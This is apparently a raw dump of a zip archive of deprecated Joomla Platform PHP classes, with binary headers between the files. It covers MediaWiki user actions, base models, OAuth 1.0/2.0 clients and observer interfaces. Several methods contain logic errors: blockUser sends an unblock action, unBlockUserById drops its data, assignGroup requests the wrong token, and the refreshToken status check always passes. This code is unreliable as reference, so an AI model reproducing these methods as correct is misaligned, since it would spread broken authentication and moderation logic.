$path .= '&ucshow=' . $this->buildParameter($ucshow);
}
if (isset($uctag))
{
$path .= '&uctag=' . $uctag;
}
if (isset($uctoponly))
{
$path .= '&uctoponly=' . $uctoponly;
}
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to block a user.
*
* @param string $user Username, IP address or IP range you
want to block.
* @param string $expiry Relative expiry time, Default: never.
* @param string $reason Reason for block (optional).
* @param boolean $anononly Block anonymous users only.
* @param boolean $nocreate Prevent account creation.
* @param boolean $autoblock Automatically block the last used IP
address, and any subsequent IP addresses they try to login from.
* @param boolean $noemail Prevent user from sending email
through the wiki.
* @param boolean $hidename Hide the username from the block log.
* @param boolean $allowusertalk Allow the user to edit their own talk
page.
* @param boolean $reblock If the user is already blocked,
overwrite the existing block.
* @param boolean $watchuser Watch the user/IP's user and
talk pages.
*
* @return object
*
* @since 3.1.4
*/
public function blockUser($user, $expiry = null, $reason = null, $anononly
= null, $nocreate = null, $autoblock = null, $noemail = null,
$hidename = null, $allowusertalk = null, $reblock = null, $watchuser =
null)
{
// Get the token.
$token = $this->getToken($user, 'block');
// Build the request path.
$path = '?action=unblock';
// Build the request data.
$data = array(
'user' => $user,
'token' => $token,
'expiry' => $expiry,
'reason' => $reason,
'anononly' => $anononly,
'nocreate' => $nocreate,
'autoblock' => $autoblock,
'noemail' => $noemail,
'hidename' => $hidename,
'allowusetalk' => $allowusertalk,
'reblock' => $reblock,
'watchuser' => $watchuser,
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
return $this->validateResponse($response);
}
/**
* Method to unblock a user.
*
* @param string $user Username, IP address or IP range you want to
unblock.
* @param string $reason Reason for unblock (optional).
*
* @return object
*
* @since 3.1.4
*/
public function unBlockUserByName($user, $reason = null)
{
// Get the token.
$token = $this->getToken($user, 'unblock');
// Build the request path.
$path = '?action=unblock';
// Build the request data.
$data = array(
'user' => $user,
'token' => $token,
'reason' => $reason,
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
return $this->validateResponse($response);
}
/**
* Method to unblock a user.
*
* @param int $id Username, IP address or IP range you want to
unblock.
* @param string $reason Reason for unblock (optional).
*
* @return object
*
* @since 3.1.4
*/
public function unBlockUserById($id, $reason = null)
{
// Get the token.
$token = $this->getToken($id, 'unblock');
// Build the request path.
$path = '?action=unblock';
// Build the request data.
// TODO: $data doesn't seem to be used!
$data = array(
'id' => $id,
'token' => $token,
'reason' => $reason,
);
// Send the request.
$response = $this->client->get($this->fetchUrl($path));
return $this->validateResponse($response);
}
/**
* Method to assign a user to a group.
*
* @param string $username User name.
* @param array $add Add the user to these groups.
* @param array $remove Remove the user from these groups.
* @param string $reason Reason for the change.
*
* @return object
*
* @since 3.1.4
*/
public function assignGroup($username, $add = null, $remove = null,
$reason = null)
{
// Get the token.
$token = $this->getToken($username, 'unblock');
// Build the request path.
$path = '?action=userrights';
// Build the request data.
$data = array(
'username' => $username,
'token' => $token,
'add' => $add,
'remove' => $remove,
'reason' => $reason,
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
return $this->validateResponse($response);
}
/**
* Method to email a user.
*
* @param string $target User to send email to.
* @param string $subject Subject header.
* @param string $text Mail body.
* @param boolean $ccme Send a copy of this mail to me.
*
* @return object
*
* @since 3.1.4
*/
public function emailUser($target, $subject = null, $text = null, $ccme =
null)
{
// Get the token.
$token = $this->getToken($target, 'emailuser');
// Build the request path.
$path = '?action=emailuser';
// Build the request data.
$data = array(
'target' => $target,
'token' => $token,
'subject' => $subject,
'text' => $text,
'ccme' => $ccme,
);
// Send the request.
$response = $this->client->post($this->fetchUrl($path), $data);
return $this->validateResponse($response);
}
/**
* Method to get access token.
*
* @param string $user The User to get token.
* @param string $intoken The type of token.
*
* @return object
*
* @since 3.1.4
*/
public function getToken($user, $intoken)
{
// Build the request path.
$path = '?action=query&prop=info&intoken=' . $intoken .
'&titles=User:' . $user;
// Send the request.
$response = $this->client->post($this->fetchUrl($path), null);
return (string)
$this->validateResponse($response)->query->pages->page[$intoken
. 'token'];
}
}
PKOn�[�aGGmodel/base.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Model
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Joomla Platform Base Model Class
*
* @since 3.0.0
* @deprecated 4.0 Use the default MVC library
*/
abstract class JModelBase implements JModel
{
/**
* The model state.
*
* @var Registry
* @since 3.0.0
*/
protected $state;
/**
* Instantiate the model.
*
* @param Registry $state The model state.
*
* @since 3.0.0
*/
public function __construct(Registry $state = null)
{
// Setup the model.
$this->state = isset($state) ? $state : $this->loadState();
}
/**
* Get the model state.
*
* @return Registry The state object.
*
* @since 3.0.0
*/
public function getState()
{
return $this->state;
}
/**
* Set the model state.
*
* @param Registry $state The state object.
*
* @return void
*
* @since 3.0.0
*/
public function setState(Registry $state)
{
$this->state = $state;
}
/**
* Load the model state.
*
* @return Registry The state object.
*
* @since 3.0.0
*/
protected function loadState()
{
return new Registry;
}
}
PKOn�[��L��model/database.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Model
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Joomla Platform Database Model Class
*
* @since 3.0.0
* @deprecated 4.0 Use the default MVC library
*/
abstract class JModelDatabase extends JModelBase
{
/**
* The database driver.
*
* @var JDatabaseDriver
* @since 3.0.0
*/
protected $db;
/**
* Instantiate the model.
*
* @param Registry $state The model state.
* @param JDatabaseDriver $db The database adpater.
*
* @since 3.0.0
*/
public function __construct(Registry $state = null, JDatabaseDriver $db =
null)
{
parent::__construct($state);
// Setup the model.
$this->db = isset($db) ? $db : $this->loadDb();
}
/**
* Get the database driver.
*
* @return JDatabaseDriver The database driver.
*
* @since 3.0.0
*/
public function getDb()
{
return $this->db;
}
/**
* Set the database driver.
*
* @param JDatabaseDriver $db The database driver.
*
* @return void
*
* @since 3.0.0
*/
public function setDb(JDatabaseDriver $db)
{
$this->db = $db;
}
/**
* Load the database driver.
*
* @return JDatabaseDriver The database driver.
*
* @since 3.0.0
*/
protected function loadDb()
{
return JFactory::getDbo();
}
}
PKOn�[o�3���model/model.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Model
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Joomla Platform Model Interface
*
* @since 3.0.0
* @deprecated 4.0 Use the default MVC library
*/
interface JModel
{
/**
* Get the model state.
*
* @return Registry The state object.
*
* @since 3.0.0
*/
public function getState();
/**
* Set the model state.
*
* @param Registry $state The state object.
*
* @return void
*
* @since 3.0.0
*/
public function setState(Registry $state);
}
PKOn�[�=��7�7oauth1/client.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage OAuth1
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
use Joomla\Registry\Registry;
/**
* Joomla Platform class for interacting with an OAuth 1.0 and 1.0a server.
*
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/oauth1` framework package that will be
bundled instead
*/
abstract class JOAuth1Client
{
/**
* @var Registry Options for the JOAuth1Client object.
* @since 3.2.0
*/
protected $options;
/**
* @var array Contains access token key, secret and verifier.
* @since 3.2.0
*/
protected $token = array();
/**
* @var JHttp The HTTP client object to use in sending HTTP requests.
* @since 3.2.0
*/
protected $client;
/**
* @var JInput The input object to use in retrieving GET/POST data.
* @since 3.2.0
*/
protected $input;
/**
* @var JApplicationWeb The application object to send HTTP headers
for redirects.
* @since 3.2.0
*/
protected $application;
/**
* @var string Selects which version of OAuth to use: 1.0 or 1.0a.
* @since 3.2.0
*/
protected $version;
/**
* Constructor.
*
* @param Registry $options OAuth1Client options object.
* @param JHttp $client The HTTP client object.
* @param JInput $input The input object
* @param JApplicationWeb $application The application object
* @param string $version Specify the OAuth version. By
default we are using 1.0a.
*
* @since 3.2.0
*/
public function __construct(Registry $options = null, JHttp $client =
null, JInput $input = null, JApplicationWeb $application = null,
$version = null)
{
$this->options = isset($options) ? $options : new Registry;
$this->client = isset($client) ? $client :
JHttpFactory::getHttp($this->options);
$this->input = isset($input) ? $input :
JFactory::getApplication()->input;
$this->application = isset($application) ? $application : new
JApplicationWeb;
$this->version = isset($version) ? $version : '1.0a';
}
/**
* Method to for the oauth flow.
*
* @return array Contains access token key, secret and verifier.
*
* @since 3.2.0
* @throws DomainException
*/
public function authenticate()
{
// Already got some credentials stored?
if ($this->token)
{
$response = $this->verifyCredentials();
if ($response)
{
return $this->token;
}
else
{
$this->token = null;
}
}
// Check for callback.
if (strcmp($this->version, '1.0a') === 0)
{
$verifier = $this->input->get('oauth_verifier');
}
else
{
$verifier = $this->input->get('oauth_token');
}
if (empty($verifier))
{
// Generate a request token.
$this->_generateRequestToken();
// Authenticate the user and authorise the app.
$this->_authorise();
}
// Callback
else
{
$session = JFactory::getSession();
// Get token form session.
$this->token = array('key' =>
$session->get('key', null, 'oauth_token'),
'secret' => $session->get('secret', null,
'oauth_token'));
// Verify the returned request token.
if (strcmp($this->token['key'],
$this->input->get('oauth_token')) !== 0)
{
throw new DomainException('Bad session!');
}
// Set token verifier for 1.0a.
if (strcmp($this->version, '1.0a') === 0)
{
$this->token['verifier'] =
$this->input->get('oauth_verifier');
}
// Generate access token.
$this->_generateAccessToken();
// Return the access token.
return $this->token;
}
}
/**
* Method used to get a request token.
*
* @return void
*
* @since 3.2.0
* @throws DomainException
*/
private function _generateRequestToken()
{
// Set the callback URL.
if ($this->getOption('callback'))
{
$parameters = array(
'oauth_callback' =>
$this->getOption('callback'),
);
}
else
{
$parameters = array();
}
// Make an OAuth request for the Request Token.
$response =
$this->oauthRequest($this->getOption('requestTokenURL'),
'POST', $parameters);
parse_str($response->body, $params);
if (strcmp($this->version, '1.0a') === 0 &&
strcmp($params['oauth_callback_confirmed'], 'true') !==
0)
{
throw new DomainException('Bad request token!');
}
// Save the request token.
$this->token = array('key' =>
$params['oauth_token'], 'secret' =>
$params['oauth_token_secret']);
// Save the request token in session
$session = JFactory::getSession();
$session->set('key', $this->token['key'],
'oauth_token');
$session->set('secret', $this->token['secret'],
'oauth_token');
}
/**
* Method used to authorise the application.
*
* @return void
*
* @since 3.2.0
*/
private function _authorise()
{
$url = $this->getOption('authoriseURL') .
'?oauth_token=' . $this->token['key'];
if ($this->getOption('scope'))
{
$scope = is_array($this->getOption('scope')) ?
implode(' ', $this->getOption('scope')) :
$this->getOption('scope');
$url .= '&scope=' . urlencode($scope);
}
if ($this->getOption('sendheaders'))
{
$this->application->redirect($url);
}
}
/**
* Method used to get an access token.
*
* @return void
*
* @since 3.2.0
*/
private function _generateAccessToken()
{
// Set the parameters.
$parameters = array(
'oauth_token' => $this->token['key'],
);
if (strcmp($this->version, '1.0a') === 0)
{
$parameters = array_merge($parameters, array('oauth_verifier'
=> $this->token['verifier']));
}
// Make an OAuth request for the Access Token.
$response =
$this->oauthRequest($this->getOption('accessTokenURL'),
'POST', $parameters);
parse_str($response->body, $params);
// Save the access token.
$this->token = array('key' =>
$params['oauth_token'], 'secret' =>
$params['oauth_token_secret']);
}
/**
* Method used to make an OAuth request.
*
* @param string $url The request URL.
* @param string $method The request method.
* @param array $parameters Array containing request parameters.
* @param mixed $data The POST request data.
* @param array $headers An array of name-value pairs to include
in the header of the request
*
* @return JHttpResponse
*
* @since 3.2.0
* @throws DomainException
*/
public function oauthRequest($url, $method, $parameters, $data = array(),
$headers = array())
{
// Set the parameters.
$defaults = array(
'oauth_consumer_key' =>
$this->getOption('consumer_key'),
'oauth_signature_method' => 'HMAC-SHA1',
'oauth_version' => '1.0',
'oauth_nonce' => $this->generateNonce(),
'oauth_timestamp' => time(),
);
$parameters = array_merge($parameters, $defaults);
// Do not encode multipart parameters. Do not include $data in the
signature if $data is not array.
if (isset($headers['Content-Type']) &&
strpos($headers['Content-Type'], 'multipart/form-data')
!== false || !is_array($data))
{
$oauth_headers = $parameters;
}
else
{
// Use all parameters for the signature.
$oauth_headers = array_merge($parameters, $data);
}
// Sign the request.
$oauth_headers = $this->_signRequest($url, $method, $oauth_headers);
// Get parameters for the Authorisation header.
if (is_array($data))
{
$oauth_headers = array_diff_key($oauth_headers, $data);
}
// Send the request.
switch ($method)
{
case 'GET':
$url = $this->toUrl($url, $data);
$response = $this->client->get($url,
array('Authorization' =>
$this->_createHeader($oauth_headers)));
break;
case 'POST':
$headers = array_merge($headers, array('Authorization' =>
$this->_createHeader($oauth_headers)));
$response = $this->client->post($url, $data, $headers);
break;
case 'PUT':
$headers = array_merge($headers, array('Authorization' =>
$this->_createHeader($oauth_headers)));
$response = $this->client->put($url, $data, $headers);
break;
case 'DELETE':
$headers = array_merge($headers, array('Authorization' =>
$this->_createHeader($oauth_headers)));
$response = $this->client->delete($url, $headers);
break;
}
// Validate the response code.
$this->validateResponse($url, $response);
return $response;
}
/**
* Method to validate a response.
*
* @param string $url The request URL.
* @param JHttpResponse $response The response to validate.
*
* @return void
*
* @since 3.2.0
* @throws DomainException
*/
abstract public function validateResponse($url, $response);
/**
* Method used to create the header for the POST request.
*
* @param array $parameters Array containing request parameters.
*
* @return string The header.
*
* @since 3.2.0
*/
private function _createHeader($parameters)
{
$header = 'OAuth ';
foreach ($parameters as $key => $value)
{
if (!strcmp($header, 'OAuth '))
{
$header .= $key . '="' . $this->safeEncode($value) .
'"';
}
else
{
$header .= ', ' . $key . '="' . $value .
'"';
}
}
return $header;
}
/**
* Method to create the URL formed string with the parameters.
*
* @param string $url The request URL.
* @param array $parameters Array containing request parameters.
*
* @return string The formed URL.
*
* @since 3.2.0
*/
public function toUrl($url, $parameters)
{
foreach ($parameters as $key => $value)
{
if (is_array($value))
{
foreach ($value as $v)
{
if (strpos($url, '?') === false)
{
$url .= '?' . $key . '=' . $v;
}
else
{
$url .= '&' . $key . '=' . $v;
}
}
}
else
{
if (strpos($value, ' ') !== false)
{
$value = $this->safeEncode($value);
}
if (strpos($url, '?') === false)
{
$url .= '?' . $key . '=' . $value;
}
else
{
$url .= '&' . $key . '=' . $value;
}
}
}
return $url;
}
/**
* Method used to sign requests.
*
* @param string $url The URL to sign.
* @param string $method The request method.
* @param array $parameters Array containing request parameters.
*
* @return array
*
* @since 3.2.0
*/
private function _signRequest($url, $method, $parameters)
{
// Create the signature base string.
$base = $this->_baseString($url, $method, $parameters);
$parameters['oauth_signature'] = $this->safeEncode(
base64_encode(
hash_hmac('sha1', $base, $this->_prepareSigningKey(),
true)
)
);
return $parameters;
}
/**
* Prepare the signature base string.
*
* @param string $url The URL to sign.
* @param string $method The request method.
* @param array $parameters Array containing request parameters.
*
* @return string The base string.
*
* @since 3.2.0
*/
private function _baseString($url, $method, $parameters)
{
// Sort the parameters alphabetically
uksort($parameters, 'strcmp');
// Encode parameters.
foreach ($parameters as $key => $value)
{
$key = $this->safeEncode($key);
if (is_array($value))
{
foreach ($value as $v)
{
$v = $this->safeEncode($v);
$kv[] = "{$key}={$v}";
}
}
else
{
$value = $this->safeEncode($value);
$kv[] = "{$key}={$value}";
}
}
// Form the parameter string.
$params = implode('&', $kv);
// Signature base string elements.
$base = array(
$method,
$url,
$params,
);
// Return the base string.
return implode('&', $this->safeEncode($base));
}
/**
* Encodes the string or array passed in a way compatible with OAuth.
* If an array is passed each array value will will be encoded.
*
* @param mixed $data The scalar or array to encode.
*
* @return string $data encoded in a way compatible with OAuth.
*
* @since 3.2.0
*/
public function safeEncode($data)
{
if (is_array($data))
{
return array_map(array($this, 'safeEncode'), $data);
}
elseif (is_scalar($data))
{
return str_ireplace(
array('+', '%7E'),
array(' ', '~'),
rawurlencode($data)
);
}
else
{
return '';
}
}
/**
* Method used to generate the current nonce.
*
* @return string The current nonce.
*
* @since 3.2.0
*/
public static function generateNonce()
{
$mt = microtime();
$rand = JCrypt::genRandomBytes();
// The md5s look nicer than numbers.
return md5($mt . $rand);
}
/**
* Prepares the OAuth signing key.
*
* @return string The prepared signing key.
*
* @since 3.2.0
*/
private function _prepareSigningKey()
{
return
$this->safeEncode($this->getOption('consumer_secret')) .
'&' . $this->safeEncode(($this->token) ?
$this->token['secret'] : '');
}
/**
* Returns an HTTP 200 OK response code and a representation of the
requesting user if authentication was successful;
* returns a 401 status code and an error message if not.
*
* @return array The decoded JSON response
*
* @since 3.2.0
*/
abstract public function verifyCredentials();
/**
* Get an option from the JOauth1aClient instance.
*
* @param string $key The name of the option to get
*
* @return mixed The option value
*
* @since 3.2.0
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JOauth1aClient instance.
*
* @param string $key The name of the option to set
* @param mixed $value The option value to set
*
* @return JOAuth1Client This object for method chaining
*
* @since 3.2.0
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
/**
* Get the oauth token key or secret.
*
* @return array The oauth token key and secret.
*
* @since 3.2.0
*/
public function getToken()
{
return $this->token;
}
/**
* Set the oauth token.
*
* @param array $token The access token key and secret.
*
* @return JOAuth1Client This object for method chaining.
*
* @since 3.2.0
*/
public function setToken($token)
{
$this->token = $token;
return $this;
}
}
PKOn�[�]]n$n$oauth2/client.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage OAuth2
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Registry\Registry;
/**
* Joomla Platform class for interacting with an OAuth 2.0 server.
*
* @since 3.1.4
* @deprecated 4.0 Use the `joomla/oauth2` framework package that will be
bundled instead
*/
class JOAuth2Client
{
/**
* @var Registry Options for the JOAuth2Client object.
* @since 3.1.4
*/
protected $options;
/**
* @var JHttp The HTTP client object to use in sending HTTP requests.
* @since 3.1.4
*/
protected $http;
/**
* @var JInput The input object to use in retrieving GET/POST data.
* @since 3.1.4
*/
protected $input;
/**
* @var JApplicationWeb The application object to send HTTP headers
for redirects.
* @since 3.1.4
*/
protected $application;
/**
* Constructor.
*
* @param Registry $options JOAuth2Client options object
* @param JHttp $http The HTTP client object
* @param JInput $input The input object
* @param JApplicationWeb $application The application object
*
* @since 3.1.4
*/
public function __construct(Registry $options = null, JHttp $http = null,
JInput $input = null, JApplicationWeb $application = null)
{
$this->options = isset($options) ? $options : new Registry;
$this->http = isset($http) ? $http : new JHttp($this->options);
$this->application = isset($application) ? $application : new
JApplicationWeb;
$this->input = isset($input) ? $input :
$this->application->input;
}
/**
* Get the access token or redict to the authentication URL.
*
* @return string The access token
*
* @since 3.1.4
* @throws RuntimeException
*/
public function authenticate()
{
if ($data['code'] = $this->input->get('code',
false, 'raw'))
{
$data['grant_type'] = 'authorization_code';
$data['redirect_uri'] =
$this->getOption('redirecturi');
$data['client_id'] =
$this->getOption('clientid');
$data['client_secret'] =
$this->getOption('clientsecret');
$response =
$this->http->post($this->getOption('tokenurl'), $data);
if ($response->code >= 200 && $response->code < 400)
{
if (strpos($response->headers['Content-Type'],
'application/json') === 0)
{
$token = array_merge(json_decode($response->body, true),
array('created' => time()));
}
else
{
parse_str($response->body, $token);
$token = array_merge($token, array('created' => time()));
}
$this->setToken($token);
return $token;
}
else
{
throw new RuntimeException('Error code ' . $response->code
. ' received requesting access token: ' . $response->body .
'.');
}
}
if ($this->getOption('sendheaders'))
{
$this->application->redirect($this->createUrl());
}
return false;
}
/**
* Verify if the client has been authenticated
*
* @return boolean Is authenticated
*
* @since 3.1.4
*/
public function isAuthenticated()
{
$token = $this->getToken();
if (!$token || !array_key_exists('access_token', $token))
{
return false;
}
elseif (array_key_exists('expires_in', $token) &&
$token['created'] + $token['expires_in'] < time() +
20)
{
return false;
}
else
{
return true;
}
}
/**
* Create the URL for authentication.
*
* @return JHttpResponse The HTTP response
*
* @since 3.1.4
* @throws InvalidArgumentException
*/
public function createUrl()
{
if (!$this->getOption('authurl') ||
!$this->getOption('clientid'))
{
throw new InvalidArgumentException('Authorization URL and client_id
are required');
}
$url = $this->getOption('authurl');
if (strpos($url, '?'))
{
$url .= '&';
}
else
{
$url .= '?';
}
$url .= 'response_type=code';
$url .= '&client_id=' .
urlencode($this->getOption('clientid'));
if ($this->getOption('redirecturi'))
{
$url .= '&redirect_uri=' .
urlencode($this->getOption('redirecturi'));
}
if ($this->getOption('scope'))
{
$scope = is_array($this->getOption('scope')) ?
implode(' ', $this->getOption('scope')) :
$this->getOption('scope');
$url .= '&scope=' . urlencode($scope);
}
if ($this->getOption('state'))
{
$url .= '&state=' .
urlencode($this->getOption('state'));
}
if (is_array($this->getOption('requestparams')))
{
foreach ($this->getOption('requestparams') as $key =>
$value)
{
$url .= '&' . $key . '=' . urlencode($value);
}
}
return $url;
}
/**
* Send a signed Oauth request.
*
* @param string $url The URL for the request.
* @param mixed $data The data to include in the request
* @param array $headers The headers to send with the request
* @param string $method The method with which to send the request
* @param int $timeout The timeout for the request
*
* @return string The URL.
*
* @since 3.1.4
* @throws InvalidArgumentException
* @throws RuntimeException
*/
public function query($url, $data = null, $headers = array(), $method =
'get', $timeout = null)
{
$token = $this->getToken();
if (array_key_exists('expires_in', $token) &&
$token['created'] + $token['expires_in'] < time() +
20)
{
if (!$this->getOption('userefresh'))
{
return false;
}
$token = $this->refreshToken($token['refresh_token']);
}
if (!$this->getOption('authmethod') ||
$this->getOption('authmethod') == 'bearer')
{
$headers['Authorization'] = 'Bearer ' .
$token['access_token'];
}
elseif ($this->getOption('authmethod') == 'get')
{
if (strpos($url, '?'))
{
$url .= '&';
}
else
{
$url .= '?';
}
$url .= $this->getOption('getparam') ?
$this->getOption('getparam') : 'access_token';
$url .= '=' . $token['access_token'];
}
switch ($method)
{
case 'head':
case 'get':
case 'delete':
case 'trace':
$response = $this->http->$method($url, $headers, $timeout);
break;
case 'post':
case 'put':
case 'patch':
$response = $this->http->$method($url, $data, $headers, $timeout);
break;
default:
throw new InvalidArgumentException('Unknown HTTP request method:
' . $method . '.');
}
if ($response->code < 200 || $response->code >= 400)
{
throw new RuntimeException('Error code ' . $response->code
. ' received requesting data: ' . $response->body .
'.');
}
return $response;
}
/**
* Get an option from the JOAuth2Client instance.
*
* @param string $key The name of the option to get
*
* @return mixed The option value
*
* @since 3.1.4
*/
public function getOption($key)
{
return $this->options->get($key);
}
/**
* Set an option for the JOAuth2Client instance.
*
* @param string $key The name of the option to set
* @param mixed $value The option value to set
*
* @return JOAuth2Client This object for method chaining
*
* @since 3.1.4
*/
public function setOption($key, $value)
{
$this->options->set($key, $value);
return $this;
}
/**
* Get the access token from the JOAuth2Client instance.
*
* @return array The access token
*
* @since 3.1.4
*/
public function getToken()
{
return $this->getOption('accesstoken');
}
/**
* Set an option for the JOAuth2Client instance.
*
* @param array $value The access token
*
* @return JOAuth2Client This object for method chaining
*
* @since 3.1.4
*/
public function setToken($value)
{
if (is_array($value) && !array_key_exists('expires_in',
$value) && array_key_exists('expires', $value))
{
$value['expires_in'] = $value['expires'];
unset($value['expires']);
}
$this->setOption('accesstoken', $value);
return $this;
}
/**
* Refresh the access token instance.
*
* @param string $token The refresh token
*
* @return array The new access token
*
* @since 3.1.4
* @throws Exception
* @throws RuntimeException
*/
public function refreshToken($token = null)
{
if (!$this->getOption('userefresh'))
{
throw new RuntimeException('Refresh token is not supported for this
OAuth instance.');
}
if (!$token)
{
$token = $this->getToken();
if (!array_key_exists('refresh_token', $token))
{
throw new RuntimeException('No refresh token is available.');
}
$token = $token['refresh_token'];
}
$data['grant_type'] = 'refresh_token';
$data['refresh_token'] = $token;
$data['client_id'] = $this->getOption('clientid');
$data['client_secret'] =
$this->getOption('clientsecret');
$response =
$this->http->post($this->getOption('tokenurl'), $data);
if ($response->code >= 200 || $response->code < 400)
{
if (strpos($response->headers['Content-Type'],
'application/json') === 0)
{
$token = array_merge(json_decode($response->body, true),
array('created' => time()));
}
else
{
parse_str($response->body, $token);
$token = array_merge($token, array('created' => time()));
}
$this->setToken($token);
return $token;
}
else
{
throw new Exception('Error code ' . $response->code .
' received refreshing token: ' . $response->body .
'.');
}
}
}
PKOn�[��$*WWobservable/interface.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Observer
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Observable Subject pattern interface for Joomla
*
* To make a class and its inheriting classes observable:
* 1) add: implements JObservableInterface
* to its class
*
* 2) at the end of the constructor, add:
* // Create observer updater and attaches all observers interested by
$this class:
* $this->_observers = new JObserverUpdater($this);
* JObserverMapper::attachAllObservers($this);
*
* 3) add the function attachObserver below to your class to add observers
using the JObserverUpdater class:
* public function attachObserver(JObserverInterface $observer)
* {
* $this->_observers->attachObserver($observer);
* }
*
* 4) in the methods that need to be observed, add, e.g. (name of event,
params of event):
* $this->_observers->update('onBeforeLoad', array($keys,
$reset));
*
* @since 3.1.2
*/
interface JObservableInterface
{
/**
* Adds an observer to this JObservableInterface instance.
* Ideally, this method should be called from the constructor of
JObserverInterface
* which should be instantiated by JObserverMapper.
* The implementation of this function can use JObserverUpdater
*
* @param JObserverInterface $observer The observer to attach to $this
observable subject
*
* @return void
*
* @since 3.1.2
*/
public function attachObserver(JObserverInterface $observer);
}
PKOn�[���eobserver/interface.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Observer
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Observer pattern interface for Joomla
*
* A class that wants to observe another class must:
*
* 1) Add: implements JObserverInterface
* to its class
*
* 2) Implement a constructor, that can look like this:
* public function __construct(JObservableInterface $observableObject)
* {
* $observableObject->attachObserver($this);
* $this->observableObject = $observableObject;
* }
*
* 3) and must implement the instantiator function createObserver() below,
e.g. as follows:
* public static function createObserver(JObservableInterface
$observableObject, $params = array())
* {
* $observer = new self($observableObject);
* $observer->... = $params['...']; ...
* return $observer;
* }
*
* 4) Then add functions corresponding to the events to be observed,
* E.g. to respond to event:
$this->_observers->update('onBeforeLoad', array($keys,
$reset));
* following function is needed in the observer:
* public function onBeforeLoad($keys, $reset) { ... }
*
* 5) Finally, the binding is made outside the observable and observer
classes, using:
* JObserverMapper::addObserverClassToClass('ObserverClassname',
'ObservableClassname', array('paramName' =>
'paramValue'));
* where the last array will be provided to the observer instanciator
function createObserver.
*
* @since 3.1.2
*/
interface JObserverInterface
{
/**
* Creates the associated observer instance and attaches it to the
$observableObject
*
* @param JObservableInterface $observableObject The observable
subject object
* @param array $params Params for this
observer
*
* @return JObserverInterface
*
* @since 3.1.2
*/
public static function createObserver(JObservableInterface
$observableObject, $params = array());
}
PKOn�[��q͏ � observer/mapper.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Observer
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Observer mapping pattern implementation for Joomla
*
* @since 3.1.2
*/
class JObserverMapper
{
/**
* Array: array( JObservableInterface_classname => array(
JObserverInterface_classname => array( paramname => param, .... ) ) )
*
* @var array
* @since 3.1.2
*/
protected static $observations = array();
/**
* Adds a mapping to observe $observerClass subjects with $observableClass
observer/listener, attaching it on creation with $params
* on $observableClass instance creations
*
* @param string $observerClass The name of the observer
class (implementing JObserverInterface)
* @param string $observableClass The name of the observable
class (implementing JObservableInterface)
* @param array|boolean $params The params to give to the
JObserverInterface::createObserver() function, or false to remove mapping
*
* @return void
*
* @since 3.1.2
*/
public static function addObserverClassToClass($observerClass,
$observableClass, $params = array())
{
if ($params !== false)
{
static::$observations[$observableClass][$observerClass] = $params;
}
else
{
unset(static::$observations[$observableClass][$observerClass]);
}
}
/**
* Attaches all applicable observers to an $observableObject
*
* @param JObservableInterface $observableObject The observable
subject object
*
* @return void
*
* @since 3.1.2
*/
public static function attachAllObservers(JObservableInterface
$observableObject)
{
$observableClass = get_class($observableObject);
while ($observableClass != false)
{
// Attach applicable Observers for the class to the Observable subject:
if (isset(static::$observations[$observableClass]))
{
foreach (static::$observations[$observableClass] as $observerClass
=> $params)
{
// Attach an Observer to the Observable subject:
/**
* @var JObserverInterface $observerClass
*/
$observerClass::createObserver($observableObject, $params);
}
}
// Get parent class name (or false if none), and redo the above on it:
$observableClass = get_parent_class($observableClass);
}
}
}
PKOn�[Z����observer/updater/interface.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Observer
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Observer updater pattern implementation for Joomla
*
* @since 3.1.2
*/
interface JObserverUpdaterInterface
{
/**
* Constructor
*
* @param JObservableInterface $observable The observable subject
object
*
* @since 3.1.2
*/
public function __construct(JObservableInterface $observable);
/**
* Adds an observer to the JObservableInterface instance updated by this
* This method can be called from JObservableInterface::attachObserver
*
* @param JObserverInterface $observer The observer object
*
* @return void
*
* @since 3.1.2
*/
public function attachObserver(JObserverInterface $observer);
/**
* Call all observers for $event with $params
*
* @param string $event Event name (function name in observer)
